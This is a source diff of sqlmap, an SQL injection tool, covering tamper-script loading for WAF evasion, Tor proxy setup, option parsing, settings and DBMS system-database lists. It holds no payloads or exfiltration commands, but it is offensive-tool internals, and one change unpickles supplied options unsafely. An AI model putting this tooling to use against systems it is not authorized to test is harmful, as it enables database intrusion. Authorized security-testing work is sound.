elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)):
|
||||
tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)
|
||||
elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)):
|
||||
script = os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)
|
||||
|
||||
elif not os.path.exists(tfile):
|
||||
errMsg = "tamper script '%s' does not exist" % tfile
|
||||
elif not os.path.exists(script):
|
||||
errMsg = "tamper script '%s' does not exist" % script
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
elif not tfile.endswith('.py'):
|
||||
errMsg = "tamper script '%s' should have an extension '.py'" % tfile
|
||||
elif not script.endswith(".py"):
|
||||
errMsg = "tamper script '%s' should have an extension '.py'" % script
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
dirname, filename = os.path.split(tfile)
|
||||
dirname, filename = os.path.split(script)
|
||||
dirname = os.path.abspath(dirname)
|
||||
|
||||
infoMsg = "loading tamper script '%s'" % filename[:-3]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not os.path.exists(os.path.join(dirname, '__init__.py')):
|
||||
if not os.path.exists(os.path.join(dirname, "__init__.py")):
|
||||
errMsg = "make sure that there is an empty file '__init__.py' "
|
||||
errMsg += "inside of tamper scripts directory '%s'" % dirname
|
||||
raise SqlmapGenericException(errMsg)
|
||||
@@ -917,11 +928,11 @@ def _setTamperingFunctions():
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||
module = __import__(filename[:-3])
|
||||
except (ImportError, SyntaxError), ex:
|
||||
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
|
||||
|
||||
priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__
|
||||
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
|
||||
|
||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||
if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs":
|
||||
@@ -953,7 +964,7 @@ def _setTamperingFunctions():
|
||||
|
||||
if not found:
|
||||
errMsg = "missing function 'tamper(payload, **kwargs)' "
|
||||
errMsg += "in tamper script '%s'" % tfile
|
||||
errMsg += "in tamper script '%s'" % script
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
|
||||
@@ -970,7 +981,7 @@ def _setTamperingFunctions():
|
||||
|
||||
def _setWafFunctions():
|
||||
"""
|
||||
Loads WAF/IDS/IPS detecting functions from script(s)
|
||||
Loads WAF/IPS/IDS detecting functions from script(s)
|
||||
"""
|
||||
|
||||
if conf.identifyWaf:
|
||||
@@ -1014,12 +1025,12 @@ def _setDNSCache():
|
||||
"""
|
||||
|
||||
def _getaddrinfo(*args, **kwargs):
|
||||
if args in kb.cache:
|
||||
return kb.cache[args]
|
||||
if args in kb.cache.addrinfo:
|
||||
return kb.cache.addrinfo[args]
|
||||
|
||||
else:
|
||||
kb.cache[args] = socket._getaddrinfo(*args, **kwargs)
|
||||
return kb.cache[args]
|
||||
kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs)
|
||||
return kb.cache.addrinfo[args]
|
||||
|
||||
if not hasattr(socket, "_getaddrinfo"):
|
||||
socket._getaddrinfo = socket.getaddrinfo
|
||||
@@ -1034,7 +1045,7 @@ def _setSocketPreConnect():
|
||||
return
|
||||
|
||||
def _():
|
||||
while kb.threadContinue and not conf.disablePrecon:
|
||||
while kb.get("threadContinue") and not conf.get("disablePrecon"):
|
||||
try:
|
||||
for key in socket._ready:
|
||||
if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
|
||||
@@ -1198,7 +1209,7 @@ def _setSafeVisit():
|
||||
"""
|
||||
Check and set the safe visit options.
|
||||
"""
|
||||
if not any ((conf.safeUrl, conf.safeReqFile)):
|
||||
if not any((conf.safeUrl, conf.safeReqFile)):
|
||||
return
|
||||
|
||||
if conf.safeReqFile:
|
||||
@@ -1396,16 +1407,12 @@ def _setHTTPExtraHeaders():
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
elif not conf.requestFile and len(conf.httpHeaders or []) < 2:
|
||||
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5"))
|
||||
if not conf.charset:
|
||||
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||
else:
|
||||
if conf.charset:
|
||||
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset))
|
||||
|
||||
# Invalidating any caching mechanism in between
|
||||
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
|
||||
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache,no-store"))
|
||||
conf.httpHeaders.append((HTTP_HEADER.PRAGMA, "no-cache"))
|
||||
# Reference: http://stackoverflow.com/a/1383359
|
||||
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
|
||||
|
||||
def _defaultHTTPUserAgent():
|
||||
"""
|
||||
@@ -1415,13 +1422,6 @@ def _defaultHTTPUserAgent():
|
||||
|
||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||
|
||||
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
|
||||
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
|
||||
|
||||
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
|
||||
# updated at March 2009
|
||||
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||
|
||||
def _setHTTPUserAgent():
|
||||
"""
|
||||
Set the HTTP User-Agent header.
|
||||
@@ -1566,6 +1566,7 @@ def _createTemporaryDirectory():
|
||||
os.makedirs(conf.tmpDir)
|
||||
|
||||
_ = os.path.join(conf.tmpDir, randomStr())
|
||||
|
||||
open(_, "w+b").close()
|
||||
os.remove(_)
|
||||
|
||||
@@ -1581,21 +1582,29 @@ def _createTemporaryDirectory():
|
||||
try:
|
||||
if not os.path.isdir(tempfile.gettempdir()):
|
||||
os.makedirs(tempfile.gettempdir())
|
||||
except IOError, ex:
|
||||
errMsg = "there has been a problem while accessing "
|
||||
errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
|
||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||
errMsg += "writeable by the current user"
|
||||
raise SqlmapSystemException, errMsg
|
||||
except (OSError, IOError, WindowsError), ex:
|
||||
warnMsg = "there has been a problem while accessing "
|
||||
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
|
||||
warnMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
warnMsg += "try to set environment variable 'TEMP' to a location "
|
||||
warnMsg += "writeable by the current user"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
|
||||
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
|
||||
try:
|
||||
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
|
||||
except (OSError, IOError, WindowsError):
|
||||
tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
|
||||
|
||||
kb.tempDir = tempfile.tempdir
|
||||
|
||||
if not os.path.isdir(tempfile.tempdir):
|
||||
os.makedirs(tempfile.tempdir)
|
||||
try:
|
||||
os.makedirs(tempfile.tempdir)
|
||||
except (OSError, IOError, WindowsError), ex:
|
||||
errMsg = "there has been a problem while setting "
|
||||
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSystemException, errMsg
|
||||
|
||||
def _cleanupOptions():
|
||||
"""
|
||||
@@ -1765,15 +1774,32 @@ def _cleanupOptions():
|
||||
if conf.binaryFields:
|
||||
conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields)
|
||||
|
||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||
conf.disablePrecon = True
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
threadData.reset()
|
||||
|
||||
def _cleanupEnvironment():
|
||||
"""
|
||||
Cleanup environment (e.g. from leftovers after --sqlmap-shell).
|
||||
"""
|
||||
|
||||
if issubclass(urllib2.socket.socket, socks.socksocket):
|
||||
socks.unwrapmodule(urllib2)
|
||||
|
||||
if hasattr(socket, "_ready"):
|
||||
socket._ready.clear()
|
||||
|
||||
def _dirtyPatches():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
"""
|
||||
|
||||
httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS
|
||||
|
||||
def _purgeOutput():
|
||||
"""
|
||||
@@ -1841,7 +1867,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.bruteMode = False
|
||||
|
||||
kb.cache = AttribDict()
|
||||
kb.cache.addrinfo = {}
|
||||
kb.cache.content = {}
|
||||
kb.cache.encoding = {}
|
||||
kb.cache.intBoundaries = None
|
||||
kb.cache.parsedDbms = {}
|
||||
kb.cache.regex = {}
|
||||
kb.cache.stdev = {}
|
||||
|
||||
@@ -1855,6 +1885,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
|
||||
kb.columnExistsChoice = None
|
||||
kb.commonOutputs = None
|
||||
kb.connErrorChoice = None
|
||||
kb.connErrorCounter = 0
|
||||
kb.cookieEncodeChoice = None
|
||||
kb.counters = {}
|
||||
kb.data = AttribDict()
|
||||
@@ -1904,7 +1936,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
@@ -1975,7 +2007,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.threadContinue = True
|
||||
kb.threadException = False
|
||||
kb.tableExistsChoice = None
|
||||
kb.timeValidCharsRun = 0
|
||||
kb.uChar = NULL
|
||||
kb.unionDuplicates = False
|
||||
kb.xpCmdshellAvailable = False
|
||||
@@ -2195,13 +2226,13 @@ def _mergeOptions(inputOptions, overrideOptions):
|
||||
|
||||
if inputOptions.pickledOptions:
|
||||
try:
|
||||
inputOptions = base64unpickle(inputOptions.pickledOptions)
|
||||
inputOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True)
|
||||
if type(inputOptions) == dict:
|
||||
inputOptions = AttribDict(inputOptions)
|
||||
_normalizeOptions(inputOptions)
|
||||
except Exception, ex:
|
||||
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
|
||||
errMsg += " ('%s')" % ex if ex.message else ""
|
||||
errMsg += " (%s)" % repr(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if inputOptions.configFile:
|
||||
@@ -2216,9 +2247,10 @@ def _mergeOptions(inputOptions, overrideOptions):
|
||||
if key not in conf or value not in (None, False) or overrideOptions:
|
||||
conf[key] = value
|
||||
|
||||
for key, value in conf.items():
|
||||
if value is not None:
|
||||
kb.explicitSettings.add(key)
|
||||
if not hasattr(conf, "api"):
|
||||
for key, value in conf.items():
|
||||
if value is not None:
|
||||
kb.explicitSettings.add(key)
|
||||
|
||||
for key, value in defaults.items():
|
||||
if hasattr(conf, key) and conf[key] is None:
|
||||
@@ -2250,7 +2282,7 @@ def _setTrafficOutputFP():
|
||||
conf.trafficFP = openFile(conf.trafficFile, "w+")
|
||||
|
||||
def _setDNSServer():
|
||||
if not conf.dnsName:
|
||||
if not conf.dnsDomain:
|
||||
return
|
||||
|
||||
infoMsg = "setting up DNS server instance"
|
||||
@@ -2295,28 +2327,14 @@ def _setTorHttpProxySettings():
|
||||
infoMsg = "setting Tor HTTP proxy settings"
|
||||
logger.info(infoMsg)
|
||||
|
||||
s = None
|
||||
found = None
|
||||
port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,))
|
||||
|
||||
for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((LOCALHOST, port))
|
||||
found = port
|
||||
break
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
if s:
|
||||
s.close()
|
||||
|
||||
if found:
|
||||
conf.proxy = "http://%s:%d" % (LOCALHOST, found)
|
||||
if port:
|
||||
conf.proxy = "http://%s:%d" % (LOCALHOST, port)
|
||||
else:
|
||||
errMsg = "can't establish connection with the Tor HTTP proxy. "
|
||||
errMsg += "Please make sure that you have Vidalia, Privoxy or "
|
||||
errMsg += "Polipo bundle installed for you to be able to "
|
||||
errMsg += "successfully use switch '--tor' "
|
||||
errMsg += "Please make sure that you have Tor (bundle) installed and setup "
|
||||
errMsg += "so you could be able to successfully use switch '--tor' "
|
||||
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
@@ -2332,8 +2350,17 @@ def _setTorSocksProxySettings():
|
||||
infoMsg = "setting Tor SOCKS proxy settings"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
|
||||
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT)
|
||||
port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,))
|
||||
|
||||
if not port:
|
||||
errMsg = "can't establish connection with the Tor SOCKS proxy. "
|
||||
errMsg += "Please make sure that you have Tor service installed and setup "
|
||||
errMsg += "so you could be able to successfully use switch '--tor' "
|
||||
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
|
||||
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port)
|
||||
socks.wrapmodule(urllib2)
|
||||
|
||||
def _checkWebSocket():
|
||||
@@ -2395,6 +2422,10 @@ def _basicOptionValidation():
|
||||
errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.eta and conf.verbose > defaults.verbose:
|
||||
errMsg = "switch '--eta' is incompatible with option '-v'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.direct and conf.url:
|
||||
errMsg = "option '-d' is incompatible with option '-u' ('--url')"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -2608,6 +2639,7 @@ def init():
|
||||
_saveConfig()
|
||||
_setRequestFromFile()
|
||||
_cleanupOptions()
|
||||
_cleanupEnvironment()
|
||||
_dirtyPatches()
|
||||
_purgeOutput()
|
||||
_checkDependencies()
|
||||
|
||||
@@ -38,10 +38,13 @@ optDict = {
|
||||
"authType": "string",
|
||||
"authCred": "string",
|
||||
"authFile": "string",
|
||||
"ignore401": "boolean",
|
||||
"ignoreProxy": "boolean",
|
||||
"ignoreRedirects": "boolean",
|
||||
"ignoreTimeouts": "boolean",
|
||||
"proxy": "string",
|
||||
"proxyCred": "string",
|
||||
"proxyFile": "string",
|
||||
"ignoreProxy": "boolean",
|
||||
"tor": "boolean",
|
||||
"torPort": "integer",
|
||||
"torType": "string",
|
||||
@@ -104,7 +107,7 @@ optDict = {
|
||||
"uCols": "string",
|
||||
"uChar": "string",
|
||||
"uFrom": "string",
|
||||
"dnsName": "string",
|
||||
"dnsDomain": "string",
|
||||
"secondOrder": "string",
|
||||
},
|
||||
|
||||
@@ -234,7 +237,7 @@ optDict = {
|
||||
"disablePrecon": "boolean",
|
||||
"profile": "boolean",
|
||||
"forceDns": "boolean",
|
||||
"ignore401": "boolean",
|
||||
"murphyRate": "integer",
|
||||
"smokeTest": "boolean",
|
||||
"liveTest": "boolean",
|
||||
"stopFail": "boolean",
|
||||
|
||||
@@ -75,6 +75,11 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||
# Create graph image (png) by using pydot (python-pydot)
|
||||
# http://code.google.com/p/pydot/
|
||||
pydotGraph = pydot.graph_from_dot_file(dotOutputFile)
|
||||
|
||||
# Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ
|
||||
if isinstance(pydotGraph, list):
|
||||
pydotGraph = pydotGraph[0]
|
||||
|
||||
pydotGraph.write_png(imageOutputFile)
|
||||
|
||||
infoMsg = "displaying interactive graph with xdot library"
|
||||
|
||||
+10
-4
@@ -10,6 +10,7 @@ import sqlite3
|
||||
from extra.safe2bin.safe2bin import safechardecode
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
@@ -21,10 +22,15 @@ class Replication(object):
|
||||
"""
|
||||
|
||||
def __init__(self, dbpath):
|
||||
self.dbpath = dbpath
|
||||
self.connection = sqlite3.connect(dbpath)
|
||||
self.connection.isolation_level = None
|
||||
self.cursor = self.connection.cursor()
|
||||
try:
|
||||
self.dbpath = dbpath
|
||||
self.connection = sqlite3.connect(dbpath)
|
||||
self.connection.isolation_level = None
|
||||
self.cursor = self.connection.cursor()
|
||||
except sqlite3.OperationalError, ex:
|
||||
errMsg = "error occurred while opening a replication "
|
||||
errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
class DataType:
|
||||
"""
|
||||
|
||||
Regular → Executable
+103
-90
@@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import subprocess
|
||||
import string
|
||||
@@ -16,11 +17,9 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
from lib.core.enums import OS
|
||||
from lib.core.revision import getRevisionNumber
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.0.9.1"
|
||||
REVISION = getRevisionNumber()
|
||||
VERSION = "1.0.12.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -31,21 +30,23 @@ GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
|
||||
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
|
||||
|
||||
# colorful banner
|
||||
BANNER = """\033[01;33m _
|
||||
___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|
||||
|_ -| . | | | .'| . |
|
||||
|___|_ |_|_|_|_|__,| _|
|
||||
|_| |_| \033[0m\033[4;37m%s\033[0m\n
|
||||
BANNER = """\033[01;33m\
|
||||
___
|
||||
__H__
|
||||
___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|
||||
|_ -| . [.] | .'| . |
|
||||
|___|_ [.]_|_|_|__,| _|
|
||||
|_|V |_| \033[0m\033[4;37m%s\033[0m\n
|
||||
""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)
|
||||
|
||||
# Minimum distance of ratio from kb.matchRatio to result in True
|
||||
DIFF_TOLERANCE = 0.05
|
||||
CONSTANT_RATIO = 0.9
|
||||
|
||||
# Ratio used in heuristic check for WAF/IDS/IPS protected targets
|
||||
# Ratio used in heuristic check for WAF/IPS/IDS protected targets
|
||||
IDS_WAF_CHECK_RATIO = 0.5
|
||||
|
||||
# Timeout used in heuristic check for WAF/IDS/IPS protected targets
|
||||
# Timeout used in heuristic check for WAF/IPS/IDS protected targets
|
||||
IDS_WAF_CHECK_TIMEOUT = 10
|
||||
|
||||
# Lower and upper values for match ratio in case of stable page
|
||||
@@ -65,13 +66,14 @@ BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||
|
||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||
|
||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||
CHAR_INFERENCE_MARK = "%c"
|
||||
PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"
|
||||
|
||||
# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
|
||||
SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>[\w.]+)\b"
|
||||
SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
|
||||
|
||||
# Regular expression used for recognition of textual content-type
|
||||
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
|
||||
@@ -82,9 +84,15 @@ PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
|
||||
# Regular expression used for recognition of generic maximum connection messages
|
||||
MAX_CONNECTIONS_REGEX = r"max.+connections"
|
||||
|
||||
# Maximum consecutive connection errors before asking the user if he wants to continue
|
||||
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
||||
|
||||
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
|
||||
PRECONNECT_CANDIDATE_TIMEOUT = 10
|
||||
|
||||
# Maximum sleep time in "Murphy" (testing) mode
|
||||
MAX_MURPHY_SLEEP_TIME = 3
|
||||
|
||||
# Regular expression used for extracting results from Google search
|
||||
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
||||
|
||||
@@ -95,7 +103,7 @@ DUCKDUCKGO_REGEX = r'"u":"([^"]+)'
|
||||
DISCONNECT_SEARCH_REGEX = r'<p class="url wrapword">([^<]+)</p>'
|
||||
|
||||
# Dummy user agent for search (if default one returns different results)
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"
|
||||
|
||||
# Regular expression used for extracting content from "textual" tags
|
||||
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
|
||||
@@ -129,7 +137,7 @@ UNION_STDEV_COEFF = 7
|
||||
TIME_DELAY_CANDIDATES = 3
|
||||
|
||||
# Default value for HTTP Accept header
|
||||
HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
||||
HTTP_ACCEPT_HEADER_VALUE = "*/*"
|
||||
|
||||
# Default value for HTTP Accept-Encoding header
|
||||
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
|
||||
@@ -200,26 +208,20 @@ PYVERSION = sys.version.split()[0]
|
||||
|
||||
# DBMS system databases
|
||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
|
||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast")
|
||||
ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB") # These are TABLESPACE_NAME
|
||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
|
||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
||||
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/
|
||||
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
||||
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
|
||||
"MSysAccessXML", "MSysModules", "MSysModules2")
|
||||
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
|
||||
"RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\
|
||||
"RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\
|
||||
"RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\
|
||||
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
|
||||
"RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
||||
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
|
||||
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
||||
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||
